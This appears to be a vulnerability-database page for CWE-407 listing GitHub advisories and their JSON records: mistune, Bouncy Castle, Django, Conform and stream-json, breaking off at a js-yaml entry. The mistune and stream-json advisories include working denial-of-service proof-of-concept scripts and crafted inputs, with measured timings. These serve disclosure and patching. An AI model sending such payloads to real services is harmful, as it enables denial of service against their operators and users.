GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-407

Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

281 vulnerabilities reference this CWE, most recent first.

GHSA-4J32-57V6-6G45

Vulnerability from github – Published: 2026-07-20 21:32 – Updated: 2026-07-20 21:32
VLAI
Summary
Mistune inline_parser: quadratic-time parsing on long runs of `**x**` and `***x***` emphasis pairs
Details

Summary

Type: Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed **x** (strong) or ***x*** (strong-emphasis combined) pairs causes O(N²) parser work. Distinct from the bracket-bomb DoS ([ repetition) and from the formatting-plugin DoS (~~/==/^^); this one fires on default-config mistune with no plugins required. File: src/mistune/inline_parser.py lines 41-48 (the EMPHASIS_END_RE family) and the surrounding emphasis dispatch. Root cause: for every opening run of *s the parser scans forward using one of EMPHASIS_END_RE['*'] / ['**'] / ['***'] to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped **x** repeated N times, every ** is treated as a potential start, each scan can cover up to the end of input. Total work is O(N²). The triple-emphasis variant ***x*** is slightly worse due to the extra alternation between *, **, and *** close patterns. Reproducible against default mistune with no plugins.

Affected Code

File: src/mistune/inline_parser.py, lines 41-48.

EMPHASIS_END_RE = {
    "*": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*(?!\*)"),
    "_": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])_(?!_)\b"),
    "**": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*\*(?!\*)"),
    "__": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])__(?!_)\b"),
    "***": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*\*\*(?!\*)"),
    "___": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])___(?!_)\b"),
}
# Each of the six end-patterns is invoked from every emphasis open position
# fired by the inline rule `r"\*{1,3}(?=[^\s*])|\b_{1,3}(?=[^\s_])"`. The
# scan itself is bounded per call; the cost comes from the parser invoking
# the scan at every matching open marker, giving O(N²) total work.

Why it's wrong: same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (commonmark.js, commonmark-py, markdown-it-py all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.

Exploit Chain

  1. Application uses mistune to render user-supplied markdown. No plugins required — affects the default mistune.create_markdown() configuration.
  2. Attacker submits a 40 KB payload of **x** repeated 8000 times.
  3. Server CPU pegs for ~4 seconds; 16 KB → ~17 seconds. Doubling input quadruples time.
  4. Repeating the request floods the worker pool.

Security Impact

Severity: sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable. Attacker capability: O(N²) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial. Preconditions: application uses mistune.create_markdown() (default config) on attacker-supplied markdown. No plugins required. Differential: PoC-verified against mistune@3.2.1, default config:

import mistune, time
md = mistune.create_markdown()                     # no plugins
for n in [500, 1000, 2000, 4000, 8000]:
    s = '**x**' * n
    t = time.time()
    md(s)
    print(f'  **x** * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')

# Output (Python 3.13, Linux, 2.5GHz CPU):
#   **x** *  500  (2500b):    20ms
#   **x** * 1000  (5000b):    74ms
#   **x** * 2000 (10000b):   284ms
#   **x** * 4000 (20000b):  1079ms
#   **x** * 8000 (40000b):  4309ms

# Triple-emphasis is similar:
md('***x***' * 4000)   # ~1500ms

# Linear in N for non-emphasis input of comparable size:
md('xxxxx' * 8000)     # 1ms (4000x faster)

The patched build (with the suggested fix below — delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear in N.

Suggested Fix

Cap the number of unmatched opening emphasis markers the parser will track simultaneously, treating the rest as literal text:

--- a/src/mistune/inline_parser.py
+++ b/src/mistune/inline_parser.py
@@ ... in the emphasis-handling code path
+    # Bound the number of open emphasis markers tracked. CommonMark gives
+    # no semantics to deeply nested unmatched emphasis; this cap turns the
+    # parser-level O(N^2) into O(N) for adversarial inputs while preserving
+    # behaviour on every realistic markdown document.
+    MAX_OPEN_EMPHASIS = 100
+    if open_emphasis_count > MAX_OPEN_EMPHASIS:
+        # treat remaining * / _ as literal text
+        ...

The proper fix is a delimiter-stack pass, the same approach the formatting-plugin advisory and the bracket-bomb advisory recommend. All three DoS findings share the same algorithmic pattern; a single rewrite of the inline-token retry loop closes them together. Add a regression test asserting that md('**x**' * 50_000) completes in under 1 second.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:32:40Z",
    "nvd_published_at": "2026-07-08T17:17:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n**Type:** Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed `**x**` (strong) or `***x***` (strong-emphasis combined) pairs causes O(N\u00b2) parser work. Distinct from the bracket-bomb DoS (`[` repetition) and from the formatting-plugin DoS (`~~`/`==`/`^^`); this one fires on default-config mistune with no plugins required.\n**File:** `src/mistune/inline_parser.py` lines 41-48 (the `EMPHASIS_END_RE` family) and the surrounding emphasis dispatch.\n**Root cause:** for every opening run of `*`s the parser scans forward using one of `EMPHASIS_END_RE[\u0027*\u0027]` / `[\u0027**\u0027]` / `[\u0027***\u0027]` to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped `**x**` repeated N times, every `**` is treated as a potential start, each scan can cover up to the end of input. Total work is O(N\u00b2). The triple-emphasis variant `***x***` is slightly worse due to the extra alternation between `*`, `**`, and `***` close patterns. Reproducible against default mistune with no plugins.\n\n## Affected Code\n\n**File:** `src/mistune/inline_parser.py`, lines 41-48.\n\n```python\nEMPHASIS_END_RE = {\n    \"*\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*(?!\\*)\"),\n    \"_\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])_(?!_)\\b\"),\n    \"**\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*(?!\\*)\"),\n    \"__\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])__(?!_)\\b\"),\n    \"***\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*\\*(?!\\*)\"),\n    \"___\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])___(?!_)\\b\"),\n}\n# Each of the six end-patterns is invoked from every emphasis open position\n# fired by the inline rule `r\"\\*{1,3}(?=[^\\s*])|\\b_{1,3}(?=[^\\s_])\"`. The\n# scan itself is bounded per call; the cost comes from the parser invoking\n# the scan at every matching open marker, giving O(N\u00b2) total work.\n```\n\n**Why it\u0027s wrong:** same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (`commonmark.js`, `commonmark-py`, `markdown-it-py` all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.\n\n## Exploit Chain\n\n1. Application uses mistune to render user-supplied markdown. No plugins required \u2014 affects the default `mistune.create_markdown()` configuration.\n2. Attacker submits a 40 KB payload of `**x**` repeated 8000 times.\n3. Server CPU pegs for ~4 seconds; 16 KB \u2192 ~17 seconds. Doubling input quadruples time.\n4. Repeating the request floods the worker pool.\n\n## Security Impact\n\n**Severity:** sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable.\n**Attacker capability:** O(N\u00b2) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. No plugins required.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()                     # no plugins\nfor n in [500, 1000, 2000, 4000, 8000]:\n    s = \u0027**x**\u0027 * n\n    t = time.time()\n    md(s)\n    print(f\u0027  **x** * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms\u0027)\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   **x** *  500  (2500b):    20ms\n#   **x** * 1000  (5000b):    74ms\n#   **x** * 2000 (10000b):   284ms\n#   **x** * 4000 (20000b):  1079ms\n#   **x** * 8000 (40000b):  4309ms\n\n# Triple-emphasis is similar:\nmd(\u0027***x***\u0027 * 4000)   # ~1500ms\n\n# Linear in N for non-emphasis input of comparable size:\nmd(\u0027xxxxx\u0027 * 8000)     # 1ms (4000x faster)\n```\n\nThe patched build (with the suggested fix below \u2014 delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear in N.\n\n## Suggested Fix\n\nCap the number of unmatched opening emphasis markers the parser will track simultaneously, treating the rest as literal text:\n\n```diff\n--- a/src/mistune/inline_parser.py\n+++ b/src/mistune/inline_parser.py\n@@ ... in the emphasis-handling code path\n+    # Bound the number of open emphasis markers tracked. CommonMark gives\n+    # no semantics to deeply nested unmatched emphasis; this cap turns the\n+    # parser-level O(N^2) into O(N) for adversarial inputs while preserving\n+    # behaviour on every realistic markdown document.\n+    MAX_OPEN_EMPHASIS = 100\n+    if open_emphasis_count \u003e MAX_OPEN_EMPHASIS:\n+        # treat remaining * / _ as literal text\n+        ...\n```\n\nThe proper fix is a delimiter-stack pass, the same approach the formatting-plugin advisory and the bracket-bomb advisory recommend. All three DoS findings share the same algorithmic pattern; a single rewrite of the inline-token retry loop closes them together. Add a regression test asserting that `md(\u0027**x**\u0027 * 50_000)` completes in under 1 second.",
  "id": "GHSA-4j32-57v6-6g45",
  "modified": "2026-07-20T21:32:40Z",
  "published": "2026-07-20T21:32:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-4j32-57v6-6g45"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59925"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/5de41fb8e527004dbc363e047a3c380c9288c74f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2213.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune inline_parser: quadratic-time parsing on long runs of `**x**` and `***x***` emphasis pairs"
}

GHSA-4MWX-9CGQ-H2WP

Vulnerability from github – Published: 2026-08-03 03:31 – Updated: 2026-09-02 15:34
VLAI
Details

In Bouncy Castle for Java before 1.85, Quadratic-time escaping when stringifying X.500 distinguished names. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-58059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T03:16:45Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, Quadratic-time escaping when stringifying X.500 distinguished names. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).",
  "id": "GHSA-4mwx-9cgq-h2wp",
  "modified": "2026-09-02T15:34:22Z",
  "published": "2026-08-03T03:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/7bf20eea8c1b71a4d3574b75ba20ccf26ffff36b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9058059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-58059"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4RRR-2H4V-F3J9

Vulnerability from github – Published: 2026-02-03 15:30 – Updated: 2026-06-05 16:24
VLAI
Summary
Django has Inefficient Algorithmic Complexity
Details

An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.

django.utils.text.Truncator.chars() and Truncator.words() methods (with html=True) and the truncatechars_html and truncatewords_html template filters allow a remote attacker to cause a potential denial-of-service via crafted inputs containing a large number of unmatched HTML end tags. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.

Django would like to thank Seokchan Yoon for reporting this issue.

Severity
2.7 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0a1"
            },
            {
              "fixed": "6.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2a1"
            },
            {
              "fixed": "5.2.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2a1"
            },
            {
              "fixed": "4.2.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T19:31:15Z",
    "nvd_published_at": "2026-02-03T15:16:13Z",
    "severity": "LOW"
  },
  "details": "An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.\n\n`django.utils.text.Truncator.chars()` and `Truncator.words()` methods (with `html=True`) and the `truncatechars_html` and `truncatewords_html` template filters allow a remote attacker to cause a potential denial-of-service via crafted inputs containing a large number of unmatched HTML end tags. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\n\nDjango would like to thank Seokchan Yoon for reporting this issue.",
  "id": "GHSA-4rrr-2h4v-f3j9",
  "modified": "2026-06-05T16:24:26Z",
  "published": "2026-02-03T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/a33540b3e20b5d759aa8b2e4b9ca0e8edd285344"
    },
    {
      "type": "WEB",
      "url": "https://docs.djangoproject.com/en/dev/releases/security"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django/django"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2026-45.yaml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/django-announce"
    },
    {
      "type": "WEB",
      "url": "https://www.djangoproject.com/weblog/2026/feb/03/security-releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Django has Inefficient Algorithmic Complexity"
}

GHSA-525M-7F82-2MF7

Vulnerability from github – Published: 2026-07-02 19:18 – Updated: 2026-07-02 19:18
VLAI
Summary
@conform-to/dom parseSubmission vulnerable to CPU exhaustion when parsing many unique form fields
Details

A CPU exhaustion vulnerability exists in Conform's parseSubmission future API when parsing FormData or URLSearchParams submissions with many unique field names. The parser previously looked up values by field name, which could require repeated scans of the submitted entries and cause excessive synchronous CPU work if an attacker supplies a crafted submission.

[!NOTE] The patched version fixes this by iterating submitted entries directly instead of repeatedly looking up values by field name. Applications that accept untrusted form submissions should still enforce request parsing limits before passing data to Conform. For multipart requests, @remix-run/form-data-parser provides maxParts, maxTotalSize, maxFileSize, maxFiles, and maxHeaderSize options.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@conform-to/dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0"
            },
            {
              "fixed": "1.19.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:18:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A CPU exhaustion vulnerability exists in Conform\u0027s [`parseSubmission`](https://conform.guide/api/react/future/parseSubmission) future API when parsing `FormData` or `URLSearchParams` submissions with many unique field names. The parser previously looked up values by field name, which could require repeated scans of the submitted entries and cause excessive synchronous CPU work if an attacker supplies a crafted submission.\n\n\u003e [!NOTE]\n\u003e The patched version fixes this by iterating submitted entries directly instead of repeatedly looking up values by field name. Applications that accept untrusted form submissions should still enforce request parsing limits before passing data to Conform. For multipart requests, [@remix-run/form-data-parser](https://www.npmjs.com/package/@remix-run/form-data-parser) provides `maxParts`, `maxTotalSize`, `maxFileSize`, `maxFiles`, and `maxHeaderSize` options.",
  "id": "GHSA-525m-7f82-2mf7",
  "modified": "2026-07-02T19:18:41Z",
  "published": "2026-07-02T19:18:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/edmundhung/conform/security/advisories/GHSA-525m-7f82-2mf7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/edmundhung/conform"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@conform-to/dom parseSubmission vulnerable to CPU exhaustion when parsing many unique form fields"
}

GHSA-528H-PC64-C93X

Vulnerability from github – Published: 2026-09-03 20:27 – Updated: 2026-09-03 20:27
VLAI
Summary
stream-json: pick/ignore/filter/replace filters are O(depth²) on nested input — small crafted JSON blocks the event loop for seconds→minutes (DoS)
Details

Description

The path filters pick, ignore, filter, and replace — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on every checkable token. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth D costs O(D²), not O(D).

This is triggered by document structure (nesting depth), not byte volume, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact README flagship example pick({filter: 'data'}). Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.

Affected code (v3.4.0)

src/core/filters/filter-base.js:

// L26-32 — string filter: rejoins the ENTIRE stack on every call
const stringFilter = (string, separator) => {
  const stringWithSeparator = string + separator;
  return stack => {
    const path = stack.join(separator);              // O(depth) — every call
    return path === string || path.startsWith(stringWithSeparator);
  };
};

// L34-39 — regexp filter: same
const regExpFilter = (regExp, separator) => {
  return stack => {
    regExp.lastIndex = 0;
    return regExp.test(stack.join(separator));       // O(depth) — every call
  };
};

// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state
const action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;

stack is pushed/popped on startObject/startArray/end (L239-250), so stack.length === depth. For a depth-D document that hasn't matched yet, filter() runs once per level and each call is O(depth) ⇒ O(D²) total.

Not affected: the streamArray/streamObject/streamValues streamers use asm.depth (an O(1) getter), so they don't exhibit this. The issue is specific to filter-base.js recomputing the path string.

Proof of concept

npm i stream-json@3.4.0
node poc-quadratic-dos.mjs

import parserStream from 'stream-json';
import { pick } from 'stream-json/filters/pick.js';
import chain from 'stream-chain';

function run(D) {
  const doc = '{"meta":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches "data"
  return new Promise((resolve) => {
    const t0 = process.hrtime.bigint();
    const pipeline = chain([parserStream(), pick({ filter: 'data' })]);
    pipeline.on('data', () => {});
    pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));
    pipeline.write(doc); pipeline.end();
  });
}
for (const D of [5000, 10000, 20000, 40000]) {
  const r = await run(D);
  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);
}

Measured (Node v24, single core, clean npm i stream-json@3.4.0):

D=5000    bytes= 45001   ms=  160
D=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -> quadratic)
D=20000   bytes=180001   ms= 2511   (4.2x)
D=40000   bytes=360001   ms=11823   (4.7x)

A ~360 KB body (pure nesting, no data) blocks the event loop for ~12 seconds; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.

Impact

Remote, unauthenticated denial of service against any application that runs untrusted JSON through pick/ignore/filter/replace with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.

Suggested fix

Maintain the joined path incrementally instead of rejoining the whole stack per token: - On startObject/startArray push: append separator + key to a cached path string (and remember the pre-push length). - On end/pop: truncate the cached path back to the remembered length. - Filters test/startsWith against the cached string — O(1) amortized per token, making the whole traversal O(D).

Alternatively expose/enforce a maximum nesting depth for the filter path check.

Resolution

Fixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with maxDepth: Infinity.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "stream-json"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T20:27:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\nThe path filters `pick`, `ignore`, `filter`, and `replace` \u2014 the library\u0027s headline \"surgical extraction\" feature \u2014 recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D\u00b2)**, not O(D).\n\nThis is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary \"traverse until the filter matches\" path \u2014 including the exact README flagship example `pick({filter: \u0027data\u0027})`. Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body \u2014 the primary documented use case \u2014 can be made to block its event loop.\n\n### Affected code (v3.4.0)\n\n`src/core/filters/filter-base.js`:\n\n```js\n// L26-32 \u2014 string filter: rejoins the ENTIRE stack on every call\nconst stringFilter = (string, separator) =\u003e {\n  const stringWithSeparator = string + separator;\n  return stack =\u003e {\n    const path = stack.join(separator);              // O(depth) \u2014 every call\n    return path === string || path.startsWith(stringWithSeparator);\n  };\n};\n\n// L34-39 \u2014 regexp filter: same\nconst regExpFilter = (regExp, separator) =\u003e {\n  return stack =\u003e {\n    regExp.lastIndex = 0;\n    return regExp.test(stack.join(separator));       // O(depth) \u2014 every call\n  };\n};\n```\n\n```js\n// L194 \u2014 filter(stack, chunk) is invoked for EVERY checkable token while in the \u0027check\u0027 state\nconst action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;\n```\n\n`stack` is pushed/popped on `startObject`/`startArray`/end (L239-250), so `stack.length === depth`. For a depth-*D* document that hasn\u0027t matched yet, `filter()` runs once per level and each call is O(depth) \u21d2 **O(D\u00b2)** total.\n\n**Not affected:** the `streamArray`/`streamObject`/`streamValues` streamers use `asm.depth` (an O(1) getter), so they don\u0027t exhibit this. The issue is specific to `filter-base.js` recomputing the path string.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.4.0\nnode poc-quadratic-dos.mjs\n```\n\n```js\nimport parserStream from \u0027stream-json\u0027;\nimport { pick } from \u0027stream-json/filters/pick.js\u0027;\nimport chain from \u0027stream-chain\u0027;\n\nfunction run(D) {\n  const doc = \u0027{\"meta\":\u0027.repeat(D) + \u00271\u0027 + \u0027}\u0027.repeat(D); // depth D, never matches \"data\"\n  return new Promise((resolve) =\u003e {\n    const t0 = process.hrtime.bigint();\n    const pipeline = chain([parserStream(), pick({ filter: \u0027data\u0027 })]);\n    pipeline.on(\u0027data\u0027, () =\u003e {});\n    pipeline.on(\u0027end\u0027, () =\u003e resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));\n    pipeline.write(doc); pipeline.end();\n  });\n}\nfor (const D of [5000, 10000, 20000, 40000]) {\n  const r = await run(D);\n  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);\n}\n```\n\nMeasured (Node v24, single core, clean `npm i stream-json@3.4.0`):\n\n```\nD=5000    bytes= 45001   ms=  160\nD=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -\u003e quadratic)\nD=20000   bytes=180001   ms= 2511   (4.2x)\nD=40000   bytes=360001   ms=11823   (4.7x)\n```\n\nA **~360 KB** body (pure nesting, no data) blocks the event loop for **~12 seconds**; extrapolating O(D\u00b2), ~1\u20132 MB reaches single-digit minutes of CPU on one request.\n\n## Impact\n\nRemote, unauthenticated denial of service against any application that runs untrusted JSON through `pick`/`ignore`/`filter`/`replace` with a string or RegExp filter \u2014 the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.\n\n## Suggested fix\n\nMaintain the joined path incrementally instead of rejoining the whole stack per token:\n- On `startObject`/`startArray` push: append `separator + key` to a cached path string (and remember the pre-push length).\n- On end/pop: truncate the cached path back to the remembered length.\n- Filters test/`startsWith` against the cached string \u2014 O(1) amortized per token, making the whole traversal O(D).\n\nAlternatively expose/enforce a maximum nesting depth for the filter path check.\n\n## Resolution\n\nFixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with `maxDepth: Infinity`.",
  "id": "GHSA-528h-pc64-c93x",
  "modified": "2026-09-03T20:27:53Z",
  "published": "2026-09-03T20:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/security/advisories/GHSA-528h-pc64-c93x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uhop/stream-json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "stream-json: pick/ignore/filter/replace filters are O(depth\u00b2) on nested input \u2014 small crafted JSON blocks the event loop for seconds\u2192minutes (DoS)"
}

GHSA-52CP-R559-CP3M

Vulnerability from github – Published: 2026-07-20 21:19 – Updated: 2026-07-20 21:19
VLAI
Summary
js-yaml: YAML merge-key chains can force quadratic CPU consumption
Details

Impact

